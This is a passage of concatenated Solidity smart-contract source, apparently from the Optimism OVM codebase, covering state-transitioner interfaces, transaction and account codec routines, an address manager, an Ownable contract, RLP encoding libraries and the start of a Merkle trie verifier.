Lib_OVMCodec.ChainBatchHeader calldata _transactionBatchHeader, Lib_OVMCodec.ChainInclusionProof calldata _transactionProof ) external; function finalizeFraudVerification( bytes32 _preStateRoot, Lib_OVMCodec.ChainBatchHeader calldata _preStateRootBatchHeader, Lib_OVMCodec.ChainInclusionProof calldata _preStateRootProof, bytes32 _txHash, bytes32 _postStateRoot, Lib_OVMCodec.ChainBatchHeader calldata _postStateRootBatchHeader, Lib_OVMCodec.ChainInclusionProof calldata _postStateRootProof ) external; } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.8.0; pragma experimental ABIEncoderV2; /* Library Imports */ import { Lib_OVMCodec } from "../../libraries/codec/Lib_OVMCodec.sol"; /** * @title iOVM_StateTransitioner */ interface iOVM_StateTransitioner { /********** * Events * **********/ event AccountCommitted( address _address ); event ContractStorageCommitted( address _address, bytes32 _key ); /********************************** * Public Functions: State Access * **********************************/ function getPreStateRoot() external view returns (bytes32 _preStateRoot); function getPostStateRoot() external view returns (bytes32 _postStateRoot); function isComplete() external view returns (bool _complete); /*********************************** * Public Functions: Pre-Execution * ***********************************/ function proveContractState( address _ovmContractAddress, address _ethContractAddress, bytes calldata _stateTrieWitness ) external; function proveStorageSlot( address _ovmContractAddress, bytes32 _key, bytes calldata _storageTrieWitness ) external; /******************************* * Public Functions: Execution * *******************************/ function applyTransaction( Lib_OVMCodec.Transaction calldata _transaction ) external; /************************************ * Public Functions: Post-Execution * ************************************/ function commitContractState( address _ovmContractAddress, bytes calldata _stateTrieWitness ) external; function commitStorageSlot( address _ovmContractAddress, bytes32 _key, bytes calldata _storageTrieWitness ) external; /********************************** * Public Functions: Finalization * **********************************/ function completeTransition() external; } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.8.0; /* Contract Imports */ import { iOVM_StateTransitioner } from "./iOVM_StateTransitioner.sol"; /** * @title iOVM_StateTransitionerFactory */ interface iOVM_StateTransitionerFactory { /*************************************** * Public Functions: Contract Creation * ***************************************/ function create( address _proxyManager, uint256 _stateTransitionIndex, bytes32 _preStateRoot, bytes32 _transactionHash ) external returns ( iOVM_StateTransitioner _ovmStateTransitioner ); } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.8.0; pragma experimental ABIEncoderV2; /* Library Imports */ import { Lib_RLPReader } from "../rlp/Lib_RLPReader.sol"; import { Lib_RLPWriter } from "../rlp/Lib_RLPWriter.sol"; import { Lib_BytesUtils } from "../utils/Lib_BytesUtils.sol"; import { Lib_Bytes32Utils } from "../utils/Lib_Bytes32Utils.sol"; import { Lib_SafeExecutionManagerWrapper } from "../../libraries/wrappers/Lib_SafeExecutionManagerWrapper.sol"; /** * @title Lib_OVMCodec */ library Lib_OVMCodec { /********* * Enums * *********/ enum EOASignatureType { EIP155_TRANSACTION, ETH_SIGNED_MESSAGE } enum QueueOrigin { SEQUENCER_QUEUE, L1TOL2_QUEUE } /*********** * Structs * ***********/ struct Account { uint256 nonce; uint256 balance; bytes32 storageRoot; bytes32 codeHash; address ethAddress; bool isFresh; } struct EVMAccount { uint256 nonce; uint256 balance; bytes32 storageRoot; bytes32 codeHash; } struct ChainBatchHeader { uint256 batchIndex; bytes32 batchRoot; uint256 batchSize; uint256 prevTotalElements; bytes extraData; } struct ChainInclusionProof { uint256 index; bytes32[] siblings; } struct Transaction { uint256 timestamp; uint256 blockNumber; QueueOrigin l1QueueOrigin; address l1TxOrigin; address entrypoint; uint256 gasLimit; bytes data; } struct TransactionChainElement { bool isSequenced; uint256 queueIndex; // QUEUED TX ONLY uint256 timestamp; // SEQUENCER TX ONLY uint256 blockNumber; // SEQUENCER TX ONLY bytes txData; // SEQUENCER TX ONLY } struct QueueElement { bytes32 transactionHash; uint40 timestamp; uint40 blockNumber; } struct EIP155Transaction { uint256 nonce; uint256 gasPrice; uint256 gasLimit; address to; uint256 value; bytes data; uint256 chainId; } /********************** * Internal Functions * **********************/ /** * Decodes an EOA transaction (i.e., native Ethereum RLP encoding). * @param _transaction Encoded EOA transaction. * @return Transaction decoded into a struct. */ function decodeEIP155Transaction( bytes memory _transaction, bool _isEthSignedMessage ) internal pure returns ( EIP155Transaction memory ) { if (_isEthSignedMessage) { ( uint256 _nonce, uint256 _gasLimit, uint256 _gasPrice, uint256 _chainId, address _to, bytes memory _data ) = abi.decode( _transaction, (uint256, uint256, uint256, uint256, address ,bytes) ); return EIP155Transaction({ nonce: _nonce, gasPrice: _gasPrice, gasLimit: _gasLimit, to: _to, value: 0, data: _data, chainId: _chainId }); } else { Lib_RLPReader.RLPItem[] memory decoded = Lib_RLPReader.readList(_transaction); return EIP155Transaction({ nonce: Lib_RLPReader.readUint256(decoded[0]), gasPrice: Lib_RLPReader.readUint256(decoded[1]), gasLimit: Lib_RLPReader.readUint256(decoded[2]), to: Lib_RLPReader.readAddress(decoded[3]), value: Lib_RLPReader.readUint256(decoded[4]), data: Lib_RLPReader.readBytes(decoded[5]), chainId: Lib_RLPReader.readUint256(decoded[6]) }); } } /** * Decompresses a compressed EIP155 transaction. * @param _transaction Compressed EIP155 transaction bytes. * @return Transaction parsed into a struct. */ function decompressEIP155Transaction( bytes memory _transaction ) internal returns ( EIP155Transaction memory ) { return EIP155Transaction({ gasLimit: Lib_BytesUtils.toUint24(_transaction, 0), gasPrice: uint256(Lib_BytesUtils.toUint24(_transaction, 3)) * 1000000, nonce: Lib_BytesUtils.toUint24(_transaction, 6), to: Lib_BytesUtils.toAddress(_transaction, 9), data: Lib_BytesUtils.slice(_transaction, 29), chainId: Lib_SafeExecutionManagerWrapper.safeCHAINID(), value: 0 }); } /** * Encodes an EOA transaction back into the original transaction. * @param _transaction EIP155transaction to encode. * @param _isEthSignedMessage Whether or not this was an eth signed message. * @return Encoded transaction. */ function encodeEIP155Transaction( EIP155Transaction memory _transaction, bool _isEthSignedMessage ) internal pure returns ( bytes memory ) { if (_isEthSignedMessage) { return abi.encode( _transaction.nonce, _transaction.gasLimit, _transaction.gasPrice, _transaction.chainId, _transaction.to, _transaction.data ); } else { bytes[] memory raw = new bytes[](9); raw[0] = Lib_RLPWriter.writeUint(_transaction.nonce); raw[1] = Lib_RLPWriter.writeUint(_transaction.gasPrice); raw[2] = Lib_RLPWriter.writeUint(_transaction.gasLimit); if (_transaction.to == address(0)) { raw[3] = Lib_RLPWriter.writeBytes(''); } else { raw[3] = Lib_RLPWriter.writeAddress(_transaction.to); } raw[4] = Lib_RLPWriter.writeUint(0); raw[5] = Lib_RLPWriter.writeBytes(_transaction.data); raw[6] = Lib_RLPWriter.writeUint(_transaction.chainId); raw[7] = Lib_RLPWriter.writeBytes(bytes('')); raw[8] = Lib_RLPWriter.writeBytes(bytes('')); return Lib_RLPWriter.writeList(raw); } } /** * Encodes a standard OVM transaction. * @param _transaction OVM transaction to encode. * @return Encoded transaction bytes. */ function encodeTransaction( Transaction memory _transaction ) internal pure returns ( bytes memory ) { return abi.encodePacked( _transaction.timestamp, _transaction.blockNumber, _transaction.l1QueueOrigin, _transaction.l1TxOrigin, _transaction.entrypoint, _transaction.gasLimit, _transaction.data ); } /** * Hashes a standard OVM transaction. * @param _transaction OVM transaction to encode. * @return Hashed transaction */ function hashTransaction( Transaction memory _transaction ) internal pure returns ( bytes32 ) { return keccak256(encodeTransaction(_transaction)); } /** * Converts an OVM account to an EVM account. * @param _in OVM account to convert. * @return Converted EVM account. */ function toEVMAccount( Account memory _in ) internal pure returns ( EVMAccount memory ) { return EVMAccount({ nonce: _in.nonce, balance: _in.balance, storageRoot: _in.storageRoot, codeHash: _in.codeHash }); } /** * @notice RLP-encodes an account state struct. * @param _account Account state struct. * @return RLP-encoded account state. */ function encodeEVMAccount( EVMAccount memory _account ) internal pure returns ( bytes memory ) { bytes[] memory raw = new bytes[](4); // Unfortunately we can't create this array outright because // Lib_RLPWriter.writeList will reject fixed-size arrays. Assigning // index-by-index circumvents this issue. raw[0] = Lib_RLPWriter.writeBytes( Lib_Bytes32Utils.removeLeadingZeros( bytes32(_account.nonce) ) ); raw[1] = Lib_RLPWriter.writeBytes( Lib_Bytes32Utils.removeLeadingZeros( bytes32(_account.balance) ) ); raw[2] = Lib_RLPWriter.writeBytes(abi.encodePacked(_account.storageRoot)); raw[3] = Lib_RLPWriter.writeBytes(abi.encodePacked(_account.codeHash)); return Lib_RLPWriter.writeList(raw); } /** * @notice Decodes an RLP-encoded account state into a useful struct. * @param _encoded RLP-encoded account state. * @return Account state struct. */ function decodeEVMAccount( bytes memory _encoded ) internal pure returns ( EVMAccount memory ) { Lib_RLPReader.RLPItem[] memory accountState = Lib_RLPReader.readList(_encoded); return EVMAccount({ nonce: Lib_RLPReader.readUint256(accountState[0]), balance: Lib_RLPReader.readUint256(accountState[1]), storageRoot: Lib_RLPReader.readBytes32(accountState[2]), codeHash: Lib_RLPReader.readBytes32(accountState[3]) }); } /** * Calculates a hash for a given batch header. * @param _batchHeader Header to hash. * @return Hash of the header. */ function hashBatchHeader( Lib_OVMCodec.ChainBatchHeader memory _batchHeader ) internal pure returns ( bytes32 ) { return keccak256( abi.encode( _batchHeader.batchRoot, _batchHeader.batchSize, _batchHeader.prevTotalElements, _batchHeader.extraData ) ); } } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.8.0; /* Contract Imports */ import { Ownable } from "./Lib_Ownable.sol"; /** * @title Lib_AddressManager */ contract Lib_AddressManager is Ownable { /********** * Events * **********/ event AddressSet( string _name, address _newAddress ); /******************************************* * Contract Variables: Internal Accounting * *******************************************/ mapping (bytes32 => address) private addresses; /******************** * Public Functions * ********************/ function setAddress( string memory _name, address _address ) public onlyOwner { emit AddressSet(_name, _address); addresses[_getNameHash(_name)] = _address; } function getAddress( string memory _name ) public view returns (address) { return addresses[_getNameHash(_name)]; } /********************** * Internal Functions * **********************/ function _getNameHash( string memory _name ) internal pure returns ( bytes32 _hash ) { return keccak256(abi.encodePacked(_name)); } } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.8.0; /* Library Imports */ import { Lib_AddressManager } from "./Lib_AddressManager.sol"; /** * @title Lib_AddressResolver */ abstract contract Lib_AddressResolver { /******************************************* * Contract Variables: Contract References * *******************************************/ Lib_AddressManager public libAddressManager; /*************** * Constructor * ***************/ /** * @param _libAddressManager Address of the Lib_AddressManager. */ constructor( address _libAddressManager ) { libAddressManager = Lib_AddressManager(_libAddressManager); } /******************** * Public Functions * ********************/ function resolve( string memory _name ) public view returns ( address _contract ) { return libAddressManager.getAddress(_name); } } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.8.0; /** * @title Ownable * @dev Adapted from https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol */ abstract contract Ownable { /************* * Variables * *************/ address public owner; /********** * Events * **********/ event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /*************** * Constructor * ***************/ constructor() { owner = msg.sender; emit OwnershipTransferred(address(0), owner); } /********************** * Function Modifiers * **********************/ modifier onlyOwner() { require( owner == msg.sender, "Ownable: caller is not the owner" ); _; } /******************** * Public Functions * ********************/ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(owner, address(0)); owner = address(0); } function transferOwnership(address _newOwner) public virtual onlyOwner { require( _newOwner != address(0), "Ownable: new owner cannot be the zero address" ); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.8.0; /** * @title Lib_RLPReader * @dev Adapted from "RLPReader" by Hamdi Allam ([email protected]). */ library Lib_RLPReader { /************* * Constants * *************/ uint256 constant internal MAX_LIST_LENGTH = 32; /********* * Enums * *********/ enum RLPItemType { DATA_ITEM, LIST_ITEM } /*********** * Structs * ***********/ struct RLPItem { uint256 length; uint256 ptr; } /********************** * Internal Functions * **********************/ /** * Converts bytes to a reference to memory position and length. * @param _in Input bytes to convert. * @return Output memory reference. */ function toRLPItem( bytes memory _in ) internal pure returns ( RLPItem memory ) { uint256 ptr; assembly { ptr := add(_in, 32) } return RLPItem({ length: _in.length, ptr: ptr }); } /** * Reads an RLP list value into a list of RLP items. * @param _in RLP list value. * @return Decoded RLP list items. */ function readList( RLPItem memory _in ) internal pure returns ( RLPItem[] memory ) { ( uint256 listOffset, , RLPItemType itemType ) = _decodeLength(_in); require( itemType == RLPItemType.LIST_ITEM, "Invalid RLP list value." ); // Solidity in-memory arrays can't be increased in size, but *can* be decreased in size by // writing to the length. Since we can't know the number of RLP items without looping over // the entire input, we'd have to loop twice to accurately size this array. It's easier to // simply set a reasonable maximum list length and decrease the size before we finish. RLPItem[] memory out = new RLPItem[](MAX_LIST_LENGTH); uint256 itemCount = 0; uint256 offset = listOffset; while (offset < _in.length) { require( itemCount < MAX_LIST_LENGTH, "Provided RLP list exceeds max list length." ); ( uint256 itemOffset, uint256 itemLength, ) = _decodeLength(RLPItem({ length: _in.length - offset, ptr: _in.ptr + offset })); out[itemCount] = RLPItem({ length: itemLength + itemOffset, ptr: _in.ptr + offset }); itemCount += 1; offset += itemOffset + itemLength; } // Decrease the array size to match the actual item count. assembly { mstore(out, itemCount) } return out; } /** * Reads an RLP list value into a list of RLP items. * @param _in RLP list value. * @return Decoded RLP list items. */ function readList( bytes memory _in ) internal pure returns ( RLPItem[] memory ) { return readList( toRLPItem(_in) ); } /** * Reads an RLP bytes value into bytes. * @param _in RLP bytes value. * @return Decoded bytes. */ function readBytes( RLPItem memory _in ) internal pure returns ( bytes memory ) { ( uint256 itemOffset, uint256 itemLength, RLPItemType itemType ) = _decodeLength(_in); require( itemType == RLPItemType.DATA_ITEM, "Invalid RLP bytes value." ); return _copy(_in.ptr, itemOffset, itemLength); } /** * Reads an RLP bytes value into bytes. * @param _in RLP bytes value. * @return Decoded bytes. */ function readBytes( bytes memory _in ) internal pure returns ( bytes memory ) { return readBytes( toRLPItem(_in) ); } /** * Reads an RLP string value into a string. * @param _in RLP string value. * @return Decoded string. */ function readString( RLPItem memory _in ) internal pure returns ( string memory ) { return string(readBytes(_in)); } /** * Reads an RLP string value into a string. * @param _in RLP string value. * @return Decoded string. */ function readString( bytes memory _in ) internal pure returns ( string memory ) { return readString( toRLPItem(_in) ); } /** * Reads an RLP bytes32 value into a bytes32. * @param _in RLP bytes32 value. * @return Decoded bytes32. */ function readBytes32( RLPItem memory _in ) internal pure returns ( bytes32 ) { require( _in.length <= 33, "Invalid RLP bytes32 value." ); ( uint256 itemOffset, uint256 itemLength, RLPItemType itemType ) = _decodeLength(_in); require( itemType == RLPItemType.DATA_ITEM, "Invalid RLP bytes32 value." ); uint256 ptr = _in.ptr + itemOffset; bytes32 out; assembly { out := mload(ptr) // Shift the bytes over to match the item size. if lt(itemLength, 32) { out := div(out, exp(256, sub(32, itemLength))) } } return out; } /** * Reads an RLP bytes32 value into a bytes32. * @param _in RLP bytes32 value. * @return Decoded bytes32. */ function readBytes32( bytes memory _in ) internal pure returns ( bytes32 ) { return readBytes32( toRLPItem(_in) ); } /** * Reads an RLP uint256 value into a uint256. * @param _in RLP uint256 value. * @return Decoded uint256. */ function readUint256( RLPItem memory _in ) internal pure returns ( uint256 ) { return uint256(readBytes32(_in)); } /** * Reads an RLP uint256 value into a uint256. * @param _in RLP uint256 value. * @return Decoded uint256. */ function readUint256( bytes memory _in ) internal pure returns ( uint256 ) { return readUint256( toRLPItem(_in) ); } /** * Reads an RLP bool value into a bool. * @param _in RLP bool value. * @return Decoded bool. */ function readBool( RLPItem memory _in ) internal pure returns ( bool ) { require( _in.length == 1, "Invalid RLP boolean value." ); uint256 ptr = _in.ptr; uint256 out; assembly { out := byte(0, mload(ptr)) } require( out == 0 || out == 1, "Lib_RLPReader: Invalid RLP boolean value, must be 0 or 1" ); return out != 0; } /** * Reads an RLP bool value into a bool. * @param _in RLP bool value. * @return Decoded bool. */ function readBool( bytes memory _in ) internal pure returns ( bool ) { return readBool( toRLPItem(_in) ); } /** * Reads an RLP address value into a address. * @param _in RLP address value. * @return Decoded address. */ function readAddress( RLPItem memory _in ) internal pure returns ( address ) { if (_in.length == 1) { return address(0); } require( _in.length == 21, "Invalid RLP address value." ); return address(readUint256(_in)); } /** * Reads an RLP address value into a address. * @param _in RLP address value. * @return Decoded address. */ function readAddress( bytes memory _in ) internal pure returns ( address ) { return readAddress( toRLPItem(_in) ); } /** * Reads the raw bytes of an RLP item. * @param _in RLP item to read. * @return Raw RLP bytes. */ function readRawBytes( RLPItem memory _in ) internal pure returns ( bytes memory ) { return _copy(_in); } /********************* * Private Functions * *********************/ /** * Decodes the length of an RLP item. * @param _in RLP item to decode. * @return Offset of the encoded data. * @return Length of the encoded data. * @return RLP item type (LIST_ITEM or DATA_ITEM). */ function _decodeLength( RLPItem memory _in ) private pure returns ( uint256, uint256, RLPItemType ) { require( _in.length > 0, "RLP item cannot be null." ); uint256 ptr = _in.ptr; uint256 prefix; assembly { prefix := byte(0, mload(ptr)) } if (prefix <= 0x7f) { // Single byte. return (0, 1, RLPItemType.DATA_ITEM); } else if (prefix <= 0xb7) { // Short string. uint256 strLen = prefix - 0x80; require( _in.length > strLen, "Invalid RLP short string." ); return (1, strLen, RLPItemType.DATA_ITEM); } else if (prefix <= 0xbf) { // Long string. uint256 lenOfStrLen = prefix - 0xb7; require( _in.length > lenOfStrLen, "Invalid RLP long string length." ); uint256 strLen; assembly { // Pick out the string length. strLen := div( mload(add(ptr, 1)), exp(256, sub(32, lenOfStrLen)) ) } require( _in.length > lenOfStrLen + strLen, "Invalid RLP long string." ); return (1 + lenOfStrLen, strLen, RLPItemType.DATA_ITEM); } else if (prefix <= 0xf7) { // Short list. uint256 listLen = prefix - 0xc0; require( _in.length > listLen, "Invalid RLP short list." ); return (1, listLen, RLPItemType.LIST_ITEM); } else { // Long list. uint256 lenOfListLen = prefix - 0xf7; require( _in.length > lenOfListLen, "Invalid RLP long list length." ); uint256 listLen; assembly { // Pick out the list length. listLen := div( mload(add(ptr, 1)), exp(256, sub(32, lenOfListLen)) ) } require( _in.length > lenOfListLen + listLen, "Invalid RLP long list." ); return (1 + lenOfListLen, listLen, RLPItemType.LIST_ITEM); } } /** * Copies the bytes from a memory location. * @param _src Pointer to the location to read from. * @param _offset Offset to start reading from. * @param _length Number of bytes to read. * @return Copied bytes. */ function _copy( uint256 _src, uint256 _offset, uint256 _length ) private pure returns ( bytes memory ) { bytes memory out = new bytes(_length); if (out.length == 0) { return out; } uint256 src = _src + _offset; uint256 dest; assembly { dest := add(out, 32) } // Copy over as many complete words as we can. for (uint256 i = 0; i < _length / 32; i++) { assembly { mstore(dest, mload(src)) } src += 32; dest += 32; } // Pick out the remaining bytes. uint256 mask = 256 ** (32 - (_length % 32)) - 1; assembly { mstore( dest, or( and(mload(src), not(mask)), and(mload(dest), mask) ) ) } return out; } /** * Copies an RLP item into bytes. * @param _in RLP item to copy. * @return Copied bytes. */ function _copy( RLPItem memory _in ) private pure returns ( bytes memory ) { return _copy(_in.ptr, 0, _in.length); } } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.8.0; pragma experimental ABIEncoderV2; /* Library Imports */ import { Lib_BytesUtils } from "../utils/Lib_BytesUtils.sol"; /** * @title Lib_RLPWriter * @author Bakaoh (with modifications) */ library Lib_RLPWriter { /********************** * Internal Functions * **********************/ /** * RLP encodes a byte string. * @param _in The byte string to encode. * @return _out The RLP encoded string in bytes. */ function writeBytes( bytes memory _in ) internal pure returns ( bytes memory _out ) { bytes memory encoded; if (_in.length == 1 && uint8(_in[0]) < 128) { encoded = _in; } else { encoded = abi.encodePacked(_writeLength(_in.length, 128), _in); } return encoded; } /** * RLP encodes a list of RLP encoded byte byte strings. * @param _in The list of RLP encoded byte strings. * @return _out The RLP encoded list of items in bytes. */ function writeList( bytes[] memory _in ) internal pure returns ( bytes memory _out ) { bytes memory list = _flatten(_in); return abi.encodePacked(_writeLength(list.length, 192), list); } /** * RLP encodes a string. * @param _in The string to encode. * @return _out The RLP encoded string in bytes. */ function writeString( string memory _in ) internal pure returns ( bytes memory _out ) { return writeBytes(bytes(_in)); } /** * RLP encodes an address. * @param _in The address to encode. * @return _out The RLP encoded address in bytes. */ function writeAddress( address _in ) internal pure returns ( bytes memory _out ) { return writeBytes(abi.encodePacked(_in)); } /** * RLP encodes a uint. * @param _in The uint256 to encode. * @return _out The RLP encoded uint256 in bytes. */ function writeUint( uint256 _in ) internal pure returns ( bytes memory _out ) { return writeBytes(_toBinary(_in)); } /** * RLP encodes a bool. * @param _in The bool to encode. * @return _out The RLP encoded bool in bytes. */ function writeBool( bool _in ) internal pure returns ( bytes memory _out ) { bytes memory encoded = new bytes(1); encoded[0] = (_in ? bytes1(0x01) : bytes1(0x80)); return encoded; } /********************* * Private Functions * *********************/ /** * Encode the first byte, followed by the `len` in binary form if `length` is more than 55. * @param _len The length of the string or the payload. * @param _offset 128 if item is string, 192 if item is list. * @return _encoded RLP encoded bytes. */ function _writeLength( uint256 _len, uint256 _offset ) private pure returns ( bytes memory _encoded ) { bytes memory encoded; if (_len < 56) { encoded = new bytes(1); encoded[0] = byte(uint8(_len) + uint8(_offset)); } else { uint256 lenLen; uint256 i = 1; while (_len / i != 0) { lenLen++; i *= 256; } encoded = new bytes(lenLen + 1); encoded[0] = byte(uint8(lenLen) + uint8(_offset) + 55); for(i = 1; i <= lenLen; i++) { encoded[i] = byte(uint8((_len / (256**(lenLen-i))) % 256)); } } return encoded; } /** * Encode integer in big endian binary form with no leading zeroes. * @notice TODO: This should be optimized with assembly to save gas costs. * @param _x The integer to encode. * @return _binary RLP encoded bytes. */ function _toBinary( uint256 _x ) private pure returns ( bytes memory _binary ) { bytes memory b = abi.encodePacked(_x); uint256 i = 0; for (; i < 32; i++) { if (b[i] != 0) { break; } } bytes memory res = new bytes(32 - i); for (uint256 j = 0; j < res.length; j++) { res[j] = b[i++]; } return res; } /** * Copies a piece of memory to another location. * @notice From: https://github.com/Arachnid/solidity-stringutils/blob/master/src/strings.sol. * @param _dest Destination location. * @param _src Source location. * @param _len Length of memory to copy. */ function _memcpy( uint256 _dest, uint256 _src, uint256 _len ) private pure { uint256 dest = _dest; uint256 src = _src; uint256 len = _len; for(; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } uint256 mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } /** * Flattens a list of byte strings into one byte string. * @notice From: https://github.com/sammayo/solidity-rlp-encoder/blob/master/RLPEncode.sol. * @param _list List of byte strings to flatten. * @return _flattened The flattened byte string. */ function _flatten( bytes[] memory _list ) private pure returns ( bytes memory _flattened ) { if (_list.length == 0) { return new bytes(0); } uint256 len; uint256 i = 0; for (; i < _list.length; i++) { len += _list[i].length; } bytes memory flattened = new bytes(len); uint256 flattenedPtr; assembly { flattenedPtr := add(flattened, 0x20) } for(i = 0; i < _list.length; i++) { bytes memory item = _list[i]; uint256 listPtr; assembly { listPtr := add(item, 0x20)} _memcpy(flattenedPtr, listPtr, item.length); flattenedPtr += _list[i].length; } return flattened; } } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.8.0; /* Library Imports */ import { Lib_BytesUtils } from "../utils/Lib_BytesUtils.sol"; import { Lib_RLPReader } from "../rlp/Lib_RLPReader.sol"; import { Lib_RLPWriter } from "../rlp/Lib_RLPWriter.sol"; /** * @title Lib_MerkleTrie */ library Lib_MerkleTrie { /******************* * Data Structures * *******************/ enum NodeType { BranchNode, ExtensionNode, LeafNode } struct TrieNode { bytes encoded; Lib_RLPReader.RLPItem[] decoded; } /********************** * Contract Constants * **********************/ // TREE_RADIX determines the number of elements per branch node. uint256 constant TREE_RADIX = 16; // Branch nodes have TREE_RADIX elements plus an additional `value` slot. uint256 constant BRANCH_NODE_LENGTH = TREE_RADIX + 1; // Leaf nodes and extension nodes always have two elements, a `path` and a `value`. uint256 constant LEAF_OR_EXTENSION_NODE_LENGTH = 2; // Prefixes are prepended to the `path` within a leaf or extension node and // allow us to differentiate between the two node types. `ODD` or `EVEN` is // determined by the number of nibbles within the unprefixed `path`. If the // number of nibbles if even, we need to insert an extra padding nibble so // the resulting prefixed `path` has an even number of nibbles. uint8 constant PREFIX_EXTENSION_EVEN = 0; uint8 constant PREFIX_EXTENSION_ODD = 1; uint8 constant PREFIX_LEAF_EVEN = 2; uint8 constant PREFIX_LEAF_ODD = 3; // Just a utility constant. RLP represents `NULL` as 0x80. bytes1 constant RLP_NULL = bytes1(0x80); bytes constant RLP_NULL_BYTES = hex'80'; bytes32 constant internal KECCAK256_RLP_NULL_BYTES = keccak256(RLP_NULL_BYTES); /********************** * Internal Functions * **********************/ /** * @notice Verifies a proof that a given key/value pair is present in the * Merkle trie. * @param _key Key of the node to search for, as a hex string. * @param _value Value of the node to search for, as a hex string. * @param _proof Merkle trie inclusion proof for the desired node. Unlike * traditional Merkle trees, this proof is executed top-down and consists * of a list of RLP-encoded nodes that make a path down to the target node. * @param _root Known root of the Merkle trie. Used to verify that the * included proof is correctly constructed. * @return _verified `true` if the k/v pair exists in the trie, `false` otherwise. */ function verifyInclusionProof( bytes memory _key, bytes memory _value, bytes memory _proof, bytes32 _root ) internal pure returns ( bool _verified ) { ( bool exists, bytes memory value ) = get(_key, _proof, _root); return ( exists && Lib_BytesUtils.equal(_value, value) ); } /** * @notice Verifies a proof that a given key is *not* present in * the Merkle trie. * @param _key Key of the node to search for, as a hex string. * @param _proof Merkle trie inclusion proof for the node *nearest* the * target node. * @param _root Known root of the Merkle trie. Used to verify that the * included proof is correctly constructed. * @return _verified `true` if the key is absent in the trie, `false` otherwise. */ function verifyExclusionProof( bytes memory _key, bytes memory _proof, bytes32 _root ) internal pure returns ( bool _verified ) { ( bool exists, ) = get(_key, _proof, _root); return exists == false; } /** * @notice Updates a Merkle trie and returns a new root hash. * @param _key Key of the node to update, as a hex string. * @param _value Value of the node to update, as a hex string. * @param _proof Merkle trie inclusion proof for the node *nearest* the * target node. If the key exists, we can simply update the value. * Otherwise, we need to modify the trie to handle the new k/v pair. * @param _root Known root of the Merkle trie. Used to verify that the * included proof is correctly constructed. * @return _updatedRoot Root hash of the newly constructed trie. */ function update( bytes memory _key, bytes memory _value, bytes memory _proof, bytes32 _root ) internal pure returns ( bytes32 _updatedRoot ) { // Special case when inserting the very first node. if (_root == KECCAK256_RLP_NULL_BYTES) { return getSingleNodeRootHash(_key, _value); } TrieNode[] memory proof = _parseProof(_proof); (uint256 pathLength, bytes memory keyRemainder, ) = _walkNodePath(proof, _key, _root); TrieNode[] memory newPath = _getNewPath(proof, pathLength, keyRemainder, _value); return _getUpdatedTrieRoot(newPath, _key); } /** * @notice Retrieves the value associated with a given key. * @param _key Key to search for, as hex bytes. * @param _proof Merkle trie inclusion proof for the key. * @param _root Known root of the Merkle trie. * @return _exists Whether or not the key exists. * @return _value Value of the key if it exists. */ function get( bytes memory _key, bytes memory _proof, bytes32 _root ) internal pure returns ( bool _exists, bytes memory _value ) { TrieNode[] memory proof = _parseProof(_proof); (uint256 pathLength, bytes memory keyRemainder, bool isFinalNode) = _walkNodePath(proof, _key, _root); bool exists = keyRemainder.length == 0; require( exists || isFinalNode, "Provided proof is invalid." ); bytes memory value = exists ? _getNodeValue(proof[pathLength - 1]) : bytes(''); return ( exists, value ); } /** * Computes the root hash for a trie with a single node. * @param _key Key for the single node. * @param _value Value for the single node. * @return _updatedRoot Hash of the trie. */ function getSingleNodeRootHash( bytes memory _key, bytes memory _value ) internal pure returns ( bytes32 _updatedRoot ) { return keccak256(_makeLeafNode( Lib_BytesUtils.toNibbles(_key), _value ).encoded); } /********************* * Private Functions * *********************/ /** * @notice Walks through a proof using a provided key. * @param _proof Inclusion proof to walk through. * @param _key Key to use for the walk. * @param _root Known root of the trie. * @return _pathLength Length of the final path * @return _keyRemainder Portion of the key remaining after the walk. * @return _isFinalNode Whether or not we've hit a dead end. */ function _walkNodePath( TrieNode[] memory _proof, bytes memory _key, bytes32 _root ) private pure returns ( uint256 _pathLength, bytes memory _keyRemainder, bool _isFinalNode ) { uint256 pathLength = 0; bytes memory key = Lib_BytesUtils.toNibbles(_key); bytes32 currentNodeID = _root; uint256 currentKeyIndex = 0; uint256 currentKeyIncrement = 0; TrieNode memory currentNode; // Proof is top-down, so we start at the first element (root). for (uint256 i = 0; i < _proof.length; i++) { currentNode = _proof[i]; currentKeyIndex += currentKeyIncrement; // Keep track of the proof elements we actually need. // It's expensive to resize arrays, so this simply reduces gas costs. pathLength += 1; if (currentKeyIndex == 0) { // First proof element is always the root node. require( keccak256(currentNode.encoded) == currentNodeID, "Invalid root hash" ); } else if (currentNode.encoded.length >= 32) { // Nodes 32 bytes or larger are hashed inside branch nodes. require( keccak256(currentNode.encoded) == currentNodeID, "Invalid large internal hash" ); } else { // Nodes smaller than 31 bytes aren't hashed. require( Lib_BytesUtils.toBytes32(currentNode.encoded) == currentNodeID, "Invalid internal node hash" ); } if (currentNode.decoded.length == BRANCH_NODE_LENGTH) { if (currentKeyIndex == key.length) { // We've hit the end of the key, meaning the value should be within this branch node. break; } else { // We're not at the end of the key yet. // Figure out what the next node ID should be and continue. uint8 branchKey = uint8(key[currentKeyIndex]); Lib_RLPReader.RLPItem memory nextNode = currentNode.decoded[branchKey]; currentNodeID = _getNodeID(nextNode); currentKeyIncrement = 1; continue; } } else if (currentNode.decoded.length == LEAF_OR_EXTENSION_NODE_LENGTH) { bytes memory path = _getNodePath(currentNode); uint8 prefix = uint8(path[0]); uint8 offset = 2 - prefix % 2; bytes memory pathRemainder = Lib_BytesUtils.slice(path, offset); bytes memory keyRemainder = Lib_BytesUtils.slice(key, currentKeyIndex); uint256 sharedNibbleLength = _getSharedNibbleLength(pathRemainder, keyRemainder); if (prefix == 